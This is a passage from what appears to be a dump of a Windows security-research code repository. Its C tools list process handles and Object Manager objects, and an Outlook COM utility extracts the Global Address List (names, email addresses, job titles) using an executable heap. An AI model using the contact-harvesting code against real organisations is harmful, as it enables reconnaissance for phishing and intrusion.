STATUS_INFO_LENGTH_MISMATCH)) {\n        wprintf(L\"[-] Error invoking ntdll!NtQueryObject (0x%08x)\\n\", dwNtStatus);\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    *pObjName = ((POBJECT_NAME_INFORMATION)*ppHeapNameBuffer)->Name;\n    return STATUS_SUCCESS;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetObjTypeByHandle\n  Summary:  Get the type of a object with an handle.\n\n  Args:     PHANDLE pObjHandle\n              - Pointer to the handle of the object.\n            PUNICODE_STRING pObjType\n              - Pointer to a UNICODE_STRING to store the type of an object.\n            PVOID* ppHeapTypeBuffer\n              - Pointer to pointer used to store the address of the buffer in the heap.\n\n  Returns: NTSTATUS\n-----------------------------------------------------------------F-F*/\nNTSTATUS GetObjTypeByHandle(PHANDLE pObjHandle, PUNICODE_STRING pObjType, PVOID* ppHeapTypeBuffer) {\n    NTSTATUS dwNtStatus = STATUS_UNSUCCESSFUL;\n\n    ULONG lTypeSize = 0;\n    dwNtStatus = NtQueryObject(*pObjHandle, 2, NULL, 0, &lTypeSize);\n    if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) || lTypeSize == 0) {\n        wprintf(L\"[-] Error invoking ntdll!NtQueryObject (0x%08x)\\n\", dwNtStatus);\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    *ppHeapTypeBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lTypeSize);\n    dwNtStatus = NtQueryObject(*pObjHandle, 2, *ppHeapTypeBuffer, lTypeSize, &lTypeSize);\n    if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH)) {\n        wprintf(L\"[-] Error invoking ntdll!NtQueryObject (0x%08x)\\n\", dwNtStatus);\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    *pObjType = ((PPUBLIC_OBJECT_TYPE_INFORMATION)*ppHeapTypeBuffer)->TypeName;\n    return STATUS_SUCCESS;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetObjBasicInformationByHandle\n  Summary:  Get the access mask and reference count of an object with an handle.\n\n  Args:     PHANDLE pObjHandle\n              - Pointer to the handle of the object.\n            PACCESS_MASK pAccessMask\n              - Pointer to a ACCESS_MASK to store the permissions of the object.\n            PDWORD pdwReferenceCount\n              - Pointer to the number of references to the object.\n\n  Returns: NTSTATUS\n-----------------------------------------------------------------F-F*/\nNTSTATUS GetObjBasicInformationByHandle(PHANDLE pObjHandle, PACCESS_MASK pAccessMask, PDWORD pdwReferenceCount) {\n    ULONG lStructureSize = sizeof(PUBLIC_OBJECT_BASIC_INFORMATION);\n    PVOID pBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lStructureSize);\n\n    NTSTATUS dwNtStatus = NtQueryObject(*pObjHandle, 0, pBuffer, lStructureSize, &lStructureSize);\n    if (!NT_SUCCESS(dwNtStatus) || lStructureSize == 0) {\n        wprintf(L\"[-] Error invoking ntdll!NtQueryObject (0x%08x)\\n\", dwNtStatus);\n        HeapFree(g_hProcessHeap, 0, pBuffer);\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    PPUBLIC_OBJECT_BASIC_INFORMATION pObjectBasicInformation = (PPUBLIC_OBJECT_BASIC_INFORMATION)pBuffer;\n    pObjectBasicInformation->HandleCount -= 1;\n    pObjectBasicInformation->PointerCount -= 2;\n\n    *pAccessMask = pObjectBasicInformation->GrantedAccess;\n    *pdwReferenceCount = pObjectBasicInformation->HandleCount + pObjectBasicInformation->PointerCount;\n\n    HeapFree(g_hProcessHeap, 0, pBuffer);\n    return STATUS_SUCCESS;\n}\n"
  },
  {
    "path": "Object Manager/List Handles/ntstructs.h",
    "content": "#pragma once\n#include <Windows.h>\n\n/*--------------------------------------------------------------------\n  Macros.\n--------------------------------------------------------------------*/\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(StatCode)  ((NTSTATUS)(StatCode) >= 0)\n#endif\n\n#define STATUS_SUCCESS               0x00000000\n#define STATUS_UNSUCCESSFUL          0xC0000001\n#define STATUS_INFO_LENGTH_MISMATCH  0xc0000004\n\n/*--------------------------------------------------------------------\n  Windows structures.\n--------------------------------------------------------------------*/\ntypedef struct _UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n} UNICODE_STRING, * PUNICODE_STRING;\n\ntypedef struct _OBJECT_NAME_INFORMATION {\n\tUNICODE_STRING Name;\n} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;\n\ntypedef struct _PUBLIC_OBJECT_BASIC_INFORMATION {\n\tULONG       Attributes;\n\tACCESS_MASK GrantedAccess;\n\tULONG       HandleCount;\n\tULONG       PointerCount;\n\tULONG       Reserved[10];\n} PUBLIC_OBJECT_BASIC_INFORMATION, * PPUBLIC_OBJECT_BASIC_INFORMATION;\n\ntypedef struct _PUBLIC_OBJECT_TYPE_INFORMATION {\n\tUNICODE_STRING TypeName;\n\tULONG          Reserved[22];\n} PUBLIC_OBJECT_TYPE_INFORMATION, * PPUBLIC_OBJECT_TYPE_INFORMATION;\n\ntypedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO {\n\tHANDLE    HandleValue;\n\tULONG_PTR HandleCount;\n\tULONG_PTR PointerCount;\n\tULONG     GrantedAccess;\n\tULONG     ObjectTypeIndex;\n\tULONG     HandleAttributes;\n\tULONG     Reserved;\n} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION {\n\tULONG_PTR                       NumberOfHandles;\n\tULONG_PTR                       Reserved;\n\tPROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];\n} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;\n"
  },
  {
    "path": "Object Manager/List Objects/main.c",
    "content": "/*+===================================================================\n  File:      main.c\n  Summary:   List named objects from the Windows Object Manager namespace.\n  Classes:   N/A\n  Functions: N/A\n  Origin:    https://github.com/am0nsec/wspe/blob/master/Windows%20Objects/List%20Objects\n##\n  Author: Paul Laine (@am0nsec)\n===================================================================+*/\n#pragma once\n#include <Windows.h>\n#include <stdio.h>\n#include \"ntstructs.h\"\n\n#pragma comment(lib, \"ntdll\")\n\n/*--------------------------------------------------------------------\n  Function prototypes.\n--------------------------------------------------------------------*/\nVOID RtlInitUnicodeString(\n\t_In_ PUNICODE_STRING DestinationString,\n\t_In_ PCWSTR          SourceString\n);\n\nNTSTATUS WINAPI NtOpenDirectoryObject(\n\t_Out_ PHANDLE            DirectoryHandle,\n\t_In_  ACCESS_MASK        DesiredAccess,\n\t_In_  POBJECT_ATTRIBUTES ObjectAttributes\n);\n\nNTSTATUS WINAPI NtQueryDirectoryObject(\n\t_In_      HANDLE  DirectoryHandle,\n\t_Out_opt_ PVOID   Buffer,\n\t_In_      ULONG   Length,\n\t_In_      BOOLEAN ReturnSingleEntry,\n\t_In_      BOOLEAN RestartScan,\n\t_Inout_   PULONG  Context,\n\t_Out_opt_ PULONG  ReturnLength\n);\n\nNTSTATUS WINAPI NtOpenSymbolicLinkObject(\n\t_Out_ PHANDLE            LinkHandle,\n\t_In_  ACCESS_MASK        DesiredAccess,\n\t_In_  POBJECT_ATTRIBUTES ObjectAttributes\n);\n\nNTSTATUS WINAPI NtQuerySymbolicLinkObject(\n\t_In_      HANDLE          LinkHandle,\n\t_Inout_   PUNICODE_STRING LinkTarget,\n\t_Out_opt_ PULONG          ReturnedLength\n);\n\n/*--------------------------------------------------------------------\n  Private Function\n--------------------------------------------------------------------*/\nNTSTATUS GetObjInformation(\n\t_Out_ PUNICODE_STRING pObjName,\n\t_Out_ PUNICODE_STRING pObjType,\n\t_In_  PULONG          puContext\n);\n\nNTSTATUS GetObjSymbolicLinkTarget(\n\t_Out_ PUNICODE_STRING pObjSymbolicLinkTarget,\n\t_In_  PUNICODE_STRING pObjName\n);\n\n/*--------------------------------------------------------------------\n  Global Variables\n--------------------------------------------------------------------*/\nHANDLE g_hRootDirectory = INVALID_HANDLE_VALUE;\nHANDLE g_hProcessHeap   = INVALID_HANDLE_VALUE;\n\nINT wmain(INT argc, PWCHAR argv[]) {\n\twprintf(L\"--------------------------------------------------------------\\n\");\n\twprintf(L\" List named objects from the Windows Object Manager namespace\\n\");\n\twprintf(L\"           Copyright (C) Paul Laine (@am0nsec)\\n\");\n\twprintf(L\"--------------------------------------------------------------\\n\\n\");\n\n\t/*--------------------------------------------------------------------\n\t  Check user input.\n\t--------------------------------------------------------------------*/\n\tif (argc == 1) {\n\t\twprintf(L\"[-] Usage: \\n\");\n\t\twprintf(L\"    - WindowsObjects.exe <directory> \\n\");\n\t\twprintf(L\"[-] Examples: \\n\");\n\t\twprintf(L\"    - WindowsObjects.exe \\\\ \\n\");\n\t\twprintf(L\"    - WindowsObjects.exe \\\\ObjectTypes \\n\");\n\t\twprintf(L\"    - WindowsObjects.exe \\\\Sessions\\\\1\\\\BaseNamedObjects \\n\\n\");\n\t\treturn 0x1;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Initialise variables.\n\t--------------------------------------------------------------------*/\n\tNTSTATUS status = STATUS_UNSUCCESSFUL;\n\tg_hProcessHeap = GetProcessHeap();\n\n\tUNICODE_STRING RootDirectory = { 0 };\n\tRtlInitUnicodeString(&RootDirectory, argv[1]);\n\n\tOBJECT_ATTRIBUTES ObjAttributes;\n\tInitializeObjectAttributes(&ObjAttributes, &RootDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL,);\n\n\tstatus = NtOpenDirectoryObject(&g_hRootDirectory, DIRECTORY_QUERY | GENERIC_READ, &ObjAttributes);\n\tif (!NT_SUCCESS(status) || g_hRootDirectory == INVALID_HANDLE_VALUE) {\n\t\twprintf(L\"[-] Error invoking ntdll!NtOpenDirectoryObject (0x%08x)\\n\", (DWORD)status);\n\t\treturn 0x1;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Parse all objects from the directory.\n\t--------------------------------------------------------------------*/\n\tULONG uContext = 0;\n\twprintf(L\" %+-25ws   %+-30ws   %ws\\n\\n\", L\"Object Type\", L\"Symbolic Link\", L\"Object Name\");\n\n\tdo {\n\t\tUNICODE_STRING ObjSymbolicLink = { 0, 0, NULL };\n\t\tUNICODE_STRING ObjName = { 0, 0, NULL };\n\t\tUNICODE_STRING ObjType = { 0, 0, NULL };\n\t\t\n\t\t// Get name and type of the object\n\t\tstatus = GetObjInformation(&ObjName, &ObjType, &uContext);\n\t\tif (!NT_SUCCESS(status))\n\t\t\tbreak;\n\n\t\t// Get the symbolic link target if object type is SymbolicLink\n\t\tif (wcscmp(ObjType.Buffer, L\"SymbolicLink\") == 0) {\n\t\t\tstatus = GetObjSymbolicLinkTarget(&ObjSymbolicLink, &ObjName);\n\t\t\tif (!NT_SUCCESS(status))\n\t\t\t\tbreak;\n\t\t}\n\n\t\t// Print the information to the console\n\t\twprintf(L\" %+-25ws   %+-30ws   %ws\\n\", ObjType.Buffer, ObjSymbolicLink.Buffer, ObjName.Buffer);\n\n\t\t// Remove data from the heap\n\t\tif (ObjSymbolicLink.Length != 0)\n\t\t\tHeapFree(g_hProcessHeap, 0, ObjSymbolicLink.Buffer);\n\t} while (status != STATUS_NO_MORE_ENTRIES);\n\t\n\twprintf(L\"\\n\\n[>] Total named objects: %d\\n\\n\", uContext);\n\n\t// Cleanup and exit\n\tif (g_hRootDirectory)\n\t\tCloseHandle(g_hRootDirectory);\n\treturn 0x0;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetObjInformation\n  Summary:  Get the name and the type name of the next object in the Object Manager namespace's directory.\n\n  Args:     PUNICODE_STRING pObjName\n\t\t\t   - Pointer to the UNICODE_STRING that stores the name.\n\t\t    PUNICODE_STRING pObjType\n\t\t       - Pointer to the UNICODE_STRING that stores the type.\n\t\t    PULONG puContext\n\t\t       - Pointer to next element to retrieve.\n\n  Returns:  NTSTATUS\n-----------------------------------------------------------------F-F*/\nNTSTATUS GetObjInformation(PUNICODE_STRING pObjName, PUNICODE_STRING pObjType, PULONG puContext) {\n\tPOBJECT_DIRECTORY_INFORMATION pObjInformation = NULL;\n\tNTSTATUS status = STATUS_UNSUCCESSFUL;\n\tULONG uStructureSize = 0;\n\n\t// Get length of the structure\n\tstatus = NtQueryDirectoryObject(g_hRootDirectory, NULL, 0, TRUE, FALSE, puContext, &uStructureSize);\n\tif (status == STATUS_NO_MORE_ENTRIES)\n\t\treturn STATUS_NO_MORE_ENTRIES;\n\n\tif (status != STATUS_BUFFER_TOO_SMALL || uStructureSize == 0) {\n\t\twprintf(L\"[-] Error invoking ntdll!NtQueryDirectoryObject (0x%08x)\\n\", (DWORD)status);\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t// Get the information about the object\n\tpObjInformation = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, uStructureSize);\n\tstatus = NtQueryDirectoryObject(g_hRootDirectory, pObjInformation, uStructureSize, TRUE, FALSE, puContext, NULL);\n\tif (!NT_SUCCESS(status)) {\n\t\twprintf(L\"[-] Error invoking ntdll!NtQueryDirectoryObject (0x%08x)\\n\", (DWORD)status);\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t*pObjName = pObjInformation->Name;\n\t*pObjType = pObjInformation->TypeName;\n\tHeapFree(g_hProcessHeap, 0, pObjInformation);\n\n\treturn STATUS_SUCCESS;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetObjSymbolicLinkTarget\n  Summary:  Get the name to the object that the symbolic link target.\n\n  Args:     PUNICODE_STRING pObjSymbolicLinkTarget\n\t\t\t   - Pointer to the UNICODE_STRING that stores the name of the target.\n\t\t\tPUNICODE_STRING pObjName\n\t\t\t   - Pointer to the UNICODE_STRING that stores the naem of the symbolic link.\n\n  Returns:  NTSTATUS\n-----------------------------------------------------------------F-F*/\nNTSTATUS GetObjSymbolicLinkTarget(PUNICODE_STRING pObjSymbolicLinkTarget, PUNICODE_STRING pObjName) {\n\tNTSTATUS status = STATUS_UNSUCCESSFUL;\n\n\tUNICODE_STRING LinkObj;\n\tRtlInitUnicodeString(&LinkObj, pObjName->Buffer);\n\n\tOBJECT_ATTRIBUTES SymbolicObjAttributes;\n\tInitializeObjectAttributes(&SymbolicObjAttributes, &LinkObj, OBJ_CASE_INSENSITIVE, g_hRootDirectory, NULL);\n\n\tHANDLE hLinkHandle = INVALID_HANDLE_VALUE;\n\tstatus = NtOpenSymbolicLinkObject(&hLinkHandle, GENERIC_READ, &SymbolicObjAttributes);\n\tif (!NT_SUCCESS(status) || hLinkHandle == INVALID_HANDLE_VALUE) {\n\t\twprintf(L\"[-] Error invoking ntdll!NtOpenSymbolicLinkObject (0x%08x)\\n\", (DWORD)status);\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\tUNICODE_STRING SymbolicObjName = { 0, 0, NULL };\n\tULONG lSizeSymbolicObj = 0;\n\tstatus = NtQuerySymbolicLinkObject(hLinkHandle, &SymbolicObjName, &lSizeSymbolicObj);\n\tif (!NT_SUCCESS(status) && status != STATUS_BUFFER_TOO_SMALL) {\n\t\twprintf(L\"[-] Error invoking ntdll!NtQuerySymbolicLinkObject (0x%08x)\\n\", (DWORD)status);\n\t\tCloseHandle(hLinkHandle);\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\tSymbolicObjName.Buffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lSizeSymbolicObj);\n\tSymbolicObjName.Length = lSizeSymbolicObj;\n\tSymbolicObjName.MaximumLength = (USHORT)(lSizeSymbolicObj + sizeof(WCHAR));\n\n\tstatus = NtQuerySymbolicLinkObject(hLinkHandle, &SymbolicObjName, &lSizeSymbolicObj);\n\tif (!NT_SUCCESS(status)) {\n\t\twprintf(L\"[-] Error invoking ntdll!NtQuerySymbolicLinkObject (0x%08x)\\n\", (DWORD)status);\n\t\tCloseHandle(hLinkHandle);\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t*pObjSymbolicLinkTarget = SymbolicObjName;\n\tif (hLinkHandle)\n\t\tCloseHandle(hLinkHandle);\n\n\treturn STATUS_SUCCESS;\n}\n"
  },
  {
    "path": "Object Manager/List Objects/ntstructs.h",
    "content": "#pragma once\n#include <Windows.h>\n\n/*--------------------------------------------------------------------\n  Macros.\n--------------------------------------------------------------------*/\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(StatCode)  ((NTSTATUS)(StatCode) >= 0)\n#endif\n#ifndef DEVICE_NOTIFY_CALLBACK\n#define DEVICE_NOTIFY_CALLBACK 2\n#endif\n\n#define OBJ_CASE_INSENSITIVE    0x00000040L\n\n#define STATUS_SUCCESS          0x00000000\n#define STATUS_NO_MORE_ENTRIES  0x8000001AL\n#define STATUS_UNSUCCESSFUL     0xC0000001\n#define STATUS_BUFFER_TOO_SMALL 0xC0000023\n\n#define InitializeObjectAttributes( p, n, a, r, s ) { \\\n\t(p)->Length = sizeof( OBJECT_ATTRIBUTES );          \\\n\t(p)->RootDirectory = r;                             \\\n\t(p)->Attributes = a;                                \\\n\t(p)->ObjectName = n;                                \\\n\t(p)->SecurityDescriptor = s;                        \\\n\t(p)->SecurityQualityOfService = NULL;               \\\n}\n\n/*--------------------------------------------------------------------\n  Windows structures.\n--------------------------------------------------------------------*/\ntypedef struct _LSA_UNICODE_STRING {\n    USHORT Length;\n    USHORT MaximumLength;\n    PWSTR  Buffer;\n} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;\n\ntypedef struct _OBJECT_ATTRIBUTES {\n    ULONG           Length;\n    PVOID           RootDirectory;\n    PUNICODE_STRING ObjectName;\n    ULONG           Attributes;\n    PVOID           SecurityDescriptor;\n    PVOID           SecurityQualityOfService;\n} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;\n\ntypedef struct _OBJECT_DIRECTORY_INFORMATION {\n    UNICODE_STRING Name;\n    UNICODE_STRING TypeName;\n} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;\n\nenum DirectoryAccess {\n    DIRECTORY_QUERY = 0x0001,\n    DIRECTORY_TRAVERSE = 0x0002,\n    DIRECTORY_CREATE_OBJECT = 0x0004,\n    DIRECTORY_CREATE_SUBDIRECTORY = 0x0008,\n    DIRECTORY_ALL_ACCESS = STANDARD_RIGHTS_ALL | 0xF\n};\n\n"
  },
  {
    "path": "Office/Outlook/CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\r\n# @data        10/03/2021\r\n# @author      Paul L. (@am0nsec)\r\n# @version     1.0\r\n# @brief       Office Outlook CMake configuration file.\r\n# @details     \r\n# @link        https://github.com/am0nsec/wspe\r\n# @copyright   This project has been released under the GNU Public License v3 license.\r\n\r\ninclude_directories(inc)\r\nadd_executable(outlook_util\r\n\t\"src/main.c\"\r\n\t\"src/outlook.c\"\r\n)"
  },
  {
    "path": "Office/Outlook/inc/outlook.h",
    "content": "/**\n* @file        outlook.h\n* @data        10/03/2021\n* @author      Paul L. (@am0nsec)\n* @version     1.0\n* @brief       Outlook utility class.\n* @details\n* @link        https://github.com/am0nsec/wspe\n* @copyright   This project has been released under the GNU Public License v3 license.\n*/\n\n#ifndef __OUTLOOK_H_GUARD__\r\n#define __OUTLOOK_H_GUARD__\r\n\r\n#include <windows.h>\r\n#include <sal.h>\r\n\r\n/**\r\n * @brief Helps making the code a little bit less bloated.\r\n*/\r\n#define EXIT_ON_ERROR(x) \\\r\n\tif(FAILED(x)) {return E_FAIL;}\r\n\r\n/**\r\n * @brief Outlook contact record.\r\n*/\r\ntypedef struct _OutlookContactRecord {\r\n\tBSTR Name;\r\n\tBSTR FirstName;\r\n\tBSTR LastName;\r\n\tBSTR PrimarySmtpAddress;\r\n\tBSTR JobTitle;\r\n\tBSTR Department;\r\n\tBSTR OfficeLocation;\r\n\tBSTR City;\r\n} OutlookContactRecord, * POutlookContactRecord;\r\n\r\n/**\r\n * @brief Different type of AddressEntry\r\n*/\r\ntypedef enum _OlAddressEntryUserType {\r\n\tolExchangeUserAddressEntry = 0,\r\n\tolExchangeDistributionListAddressEntry = 1,\r\n\tolExchangePublicFolderAddressEntry = 2,\r\n\tolExchangeAgentAddressEntry = 3,\r\n\tolExchangeOrganizationAddressEntry = 4,\r\n\tolExchangeRemoteUserAddressEntry = 5,\r\n\tolOutlookContactAddressEntry = 10,\r\n\tolOutlookDistributionListAddressEntry = 11,\r\n\tolLdapAddressEntry = 20,\r\n\tolSmtpAddressEntry = 30,\r\n\tolOtherAddressEntry = 40\r\n} OlAddressEntryUserType;\r\n\r\n/**\r\n * @brief Internal Outlook class.\r\n*/\r\ntypedef struct OutlookUtil OutlookUtil;\r\n\r\ntypedef struct OutlookUtilVtbl OutlookUtilVtbl;\r\n\r\n/**\r\n * @brief Virtual table of the OutlookUtil structure.\r\n*/\r\ntypedef struct OutlookUtilVtbl {\r\n\t/**\r\n\t * @brief Initialises the COM library.\r\n\t*/\r\n\tHRESULT(STDMETHODCALLTYPE* Initialise)(\r\n\t\t_In_ OutlookUtil* pThis\r\n\t);\r\n\r\n\t/**\r\n\t * @brief Uninitialises the COM library. COM and make cleanup the data.\r\n\t*/\r\n\tHRESULT(STDMETHODCALLTYPE* Uninitialise)(\r\n\t\t_In_ OutlookUtil* pThis\r\n\t);\r\n\r\n\t/**\r\n\t * @brief Get the list of addresses.\r\n\t*/\r\n\tHRESULT(STDMETHODCALLTYPE* GetGlobalAddressList)(\r\n\t\t_In_  OutlookUtil*           pOutlookUtil,\n\t\t_Out_ PLONG                  plCount,\n\t\t_Out_ OutlookContactRecord** ppContactRecords\r\n\t);\r\n};\r\n\r\n/**\r\n * @brief C implementation of a class.\r\n*/\r\ntypedef struct OutlookUtil {\r\n\t/**\r\n\t * @brief Virtual table of the OutlookUtil structure.\r\n\t*/\r\n\tstruct OutlookUtilVtbl lpVtbl;\r\n\r\n\t/**\r\n\t * @brief Pointer to an _Application dispatch interface.\r\n\t*/\r\n\tIDispatch* pOutlookApplication;\r\n\r\n\t/**\r\n\t * @brief Whether the class has been initialised.\r\n\t*/\r\n\tBOOLEAN m_bInitialised;\r\n};\r\n\r\n/**\r\n * @brief Create a OutlookUtil C class.\r\n * @param ppOutlookUtil Pointer to a OutlookUtil class.\r\n * @param pHeapHandle Pointer to a RWX Heap handle.\r\n * @return Whether the class has been successfully created.\r\n*/\r\n_Success_(return == S_OK) _Must_inspect_result_\r\nHRESULT STDMETHODCALLTYPE OuCreateOutlookUtilClass(\r\n\t_Inout_ OutlookUtil** ppOutlookUtil,\r\n\t_Out_   PHANDLE       pHeapHandle\r\n);\r\n\r\n/**\r\n * @brief Free a OutlookUtil C class.\r\n * @param ppOutlookUtil Pointer to a OutlookUtil class.\r\n * @param pHeapHandle Pointer to a RWX Heap handle.\r\n * @return Whether the class has been successfully free'ed.\r\n*/\r\n_Success_(return == S_OK) _Must_inspect_result_\r\nHRESULT STDMETHODCALLTYPE OuFreeOutlookUtilClass(\r\n\t_In_ OutlookUtil** ppOutlookUtil,\n\t_In_ PHANDLE       pHeapHandle\r\n);\r\n\r\n/**\r\n * @brief Initializes the COM library.\r\n * @param pOutlookUtil Pointer to a OutlookUtil class.\r\n * @return Whether the COM library has been successfully initialised.\r\n*/\r\n_Success_(return == S_OK) _Must_inspect_result_\r\nHRESULT STDMETHODCALLTYPE Initialise(\r\n\t_In_ OutlookUtil* pOutlookUtil\r\n);\r\n\r\n/**\r\n * @brief Uninitialise the COM library and cleanup the data.\r\n * @param pOutlookUtil Pointer to a OutlookUtil class.\r\n * @return Whether the COM library has been successfully uninitialised and the data removed.\r\n*/\r\n_Success_(return == S_OK) _Must_inspect_result_\r\nHRESULT STDMETHODCALLTYPE Uninitialise(\r\n\t_In_ OutlookUtil* pOutlookUtil\r\n);\r\n\r\n/**\r\n * @brief\r\n * @param pOutlookUtil\r\n * @param plCount\r\n * @param ppContactRecords\r\n * @return\r\n*/\r\n_Success_(return == S_OK) _Must_inspect_result_\r\nHRESULT STDMETHODCALLTYPE GetGlobalAddressList(\r\n\t_In_  OutlookUtil*           pOutlookUtil,\r\n\t_Out_ PLONG                  plCount,\r\n\t_Out_ OutlookContactRecord** ppContactRecords\r\n);\r\n\r\n/**\n * @brief Get a pointer to a Outlook.Application dispatch interface.\n * @param ppIDispatch Pointer to a IDispatch interface.\n * @return Whether the Outlook.Application dispatch interface has been created.\n*/\r\n_Success_(return == S_OK) _Must_inspect_result_\r\nHRESULT STDMETHODCALLTYPE OupGetApplicationDispatchInterface(\n\t_Out_ IDispatch** ppIDispatch\n);\r\n\r\n/**\n * @brief \n * @param pInterface \n * @param szMethodName \n * @param pVariables \n * @param dwVaraibles \n * @param ppIDispatch \n * @param pDispatchId \n * @return \n*/\r\nHRESULT STDMETHODCALLTYPE OupGetDispatchInterface(\n\t_In_        IDispatch*  pInterface,\n\t_In_        LPOLESTR    szMethodName,\n\t_In_opt_    VARIANT*    pVariables,\n\t_In_        DWORD       dwVaraibles,\n\t_Out_       IDispatch** ppIDispatch,\n\t_Inout_opt_ DISPID*     pDispatchId\n);\r\n\r\n/**\n * @brief \n * @param pInterface \n * @param szProperty \n * @param dwPropertyType\n * @param pDispatchId\n * @param pProperty \n * @return \n*/\r\nHRESULT STDMETHODCALLTYPE OupGetDispatchInterfaceProperty(\n\t_In_        IDispatch* pInterface,\n\t_In_        LPOLESTR   szProperty,\n\t_In_        DWORD      dwPropertyType,\n\t_Inout_opt_ DISPID*    pDispatchId,\n\t_Out_       VARIANT*   pProperty\n);\r\n\r\n#endif // !__OUTLOOK_H_GUARD__\r\n\n"
  },
  {
    "path": "Office/Outlook/src/main.c",
    "content": "/**\n* @file        main.c\n* @data        10/03/2021\n* @author      Paul L. (@am0nsec)\n* @version     1.0\n* @brief       Outlook utility class.\n* @details\n* @link        https://github.com/am0nsec/wspe\n* @copyright   This project has been released under the GNU Public License v3 license.\n*/\n\n#include <Windows.h>\n#include <stdio.h>\n\n#include \"outlook.h\"\n\nint main() {\n\t// Initialise the class\n\tHANDLE hHeap = INVALID_HANDLE_VALUE;\n\tOutlookUtil* pOutlookUtil = NULL;\n\tif (OuCreateOutlookUtilClass(&pOutlookUtil, &hHeap) != S_OK)\n\t\treturn EXIT_FAILURE;\n\n\t// Get the entries\n\tOutlookContactRecord* Records = NULL;\n\tLONG lRecordEntries = 0x00;\n\tEXIT_ON_ERROR(pOutlookUtil->lpVtbl.Initialise(pOutlookUtil));\n\tEXIT_ON_ERROR(pOutlookUtil->lpVtbl.GetGlobalAddressList(pOutlookUtil, &lRecordEntries, &Records));\n\n\tLONG cx = 0x00;\n\tOutlookContactRecord* src = Records;\n\n\tprintf(\"[>] Number of contacts: %u\\n\", lRecordEntries);\n\tfor (; cx < lRecordEntries; cx++) {\n\t\tOutlookContactRecord Record = { 0x00 };\n\t\tmemcpy_s(&Record, sizeof(OutlookContactRecord), src++, sizeof(OutlookContactRecord));\n\n\t\twprintf(L\"%s %s - %s (%s)\\n\", Record.FirstName, Record.LastName, Record.PrimarySmtpAddress, Record.JobTitle);\n\t}\n\tHeapFree(GetProcessHeap(), 0x00, Records);\n\n\t// Cleanup\n\tEXIT_ON_ERROR(pOutlookUtil->lpVtbl.Uninitialise(pOutlookUtil));\n\tEXIT_ON_ERROR(OuFreeOutlookUtilClass(&pOutlookUtil, &hHeap));\n\treturn EXIT_SUCCESS;\n}"
  },
  {
    "path": "Office/Outlook/src/outlook.c",
    "content": "/**\n* @file        outlook.c\n* @data        10/03/2021\n* @author      Paul L. (@am0nsec)\n* @version     1.0\n* @brief       Outlook utility class.\n* @details\n* @link        https://github.com/am0nsec/wspe\n* @copyright   This project has been released under the GNU Public License v3 license.\n*/\n\n#include <Windows.h>\n#include <sal.h>\n\n#include \"outlook.h\"\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE Initialise(\n\t_In_ OutlookUtil* pOutlookUtil\n) {\n\tif (!pOutlookUtil->m_bInitialised)\n\t\tif (CoInitializeEx(NULL, COINIT_MULTITHREADED) != S_OK)\n\t\t\treturn E_FAIL;\n\n\tpOutlookUtil->m_bInitialised = TRUE;\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE Uninitialise(\n\t_In_ OutlookUtil* pOutlookUtil\n) {\n\tif (!pOutlookUtil->m_bInitialised)\n\t\treturn E_FAIL;\n\n\tCoUninitialize();\n\tRtlSecureZeroMemory(pOutlookUtil, sizeof(OutlookUtil));\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE OuCreateOutlookUtilClass(\n\t_Inout_ OutlookUtil** ppOutlookUtil,\n\t_Out_   PHANDLE       pHeapHandle\n) {\n\tif (ppOutlookUtil == NULL || pHeapHandle == NULL)\n\t\treturn E_INVALIDARG;\n\n\t// 1. Create executable heap\n\t*pHeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(OutlookUtil), 0x1000);\n\tif (*pHeapHandle == INVALID_HANDLE_VALUE || *pHeapHandle == NULL)\n\t\treturn E_FAIL;\n\t\n\t// 2. Allocate memory\n\t*ppOutlookUtil = HeapAlloc(*pHeapHandle, HEAP_ZERO_MEMORY, sizeof(OutlookUtil));\n\tif (*ppOutlookUtil == NULL) 